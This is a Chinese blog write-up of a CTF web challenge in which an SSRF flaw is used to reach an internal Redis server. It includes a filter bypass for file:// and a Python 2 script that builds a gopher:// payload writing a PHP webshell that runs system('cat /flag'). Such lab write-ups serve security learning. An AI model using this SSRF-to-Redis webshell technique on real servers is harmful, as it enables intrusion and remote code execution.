buu EZ三剑客-EzWeb

 查看源码 发现有提示

 

get 传secret , 尝试随便串值

http://......./?serect=1

 

 

 发现这是linux命令, net-tools工具中的ifconfig ,但这个工具逐渐被iproute2代替

addr:  指ip地址,有两个,说明另一个是虚拟主机,也就他们所说的内网

直接扫A类私有ip网络,但是它可容纳1600万台主机,扫也少不完哦   (网上说扫c段,0-255,可这明明是A类)

可能这就是出题的吧,那就直接扫ip地址的最后一段 (ipv4 32位,一段8位,2的8次方,256,也就是0-255)

 

 

 

 

10.151.30.11 给出了提示,端口

那就再扫一个端口,呃,也好多,这个一个一个试一下更好

6379端口(redis)或3306端口(mysql)  redis 是非关系型数据库,用于处理高并发,大数据,云计算,也是使用最多的(在nosql中)

发现是6379端口,redis存在未授权访问漏洞,可以在根目录下生成个文件shell.php

里的dict协议也被过滤了,所以得用gopher协议    

为什么知道被过滤了,因为这里可以用file协议读文件

发现file协议被过滤了,我们可以尝试绕过:file:/file:<空格>///

file: ///var/www/html/index.php

 

 得大佬的脚本(python2环境),构造payload    ssrf常见的攻击方式可以用绝对路径写webshell,利用gopher协议打ssrf

import urllib
protocol="gopher://"
ip="payload"
port="payload"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

 

 

 为什么晚上的都说从框框提交payload, 不能从url

而我却是只能从url中,不能从框框中

 

 

 然后

 

 提交,flag就出来了

 

参考:

https://www.it610.com/article/1292916384489086976.htm

http://www.manongjc.com/detail/17-hibjseszinrslia.html

 

posted @ 2021-02-28 00:36  binbin_cloud  阅读(243)  评论(0编辑  收藏  举报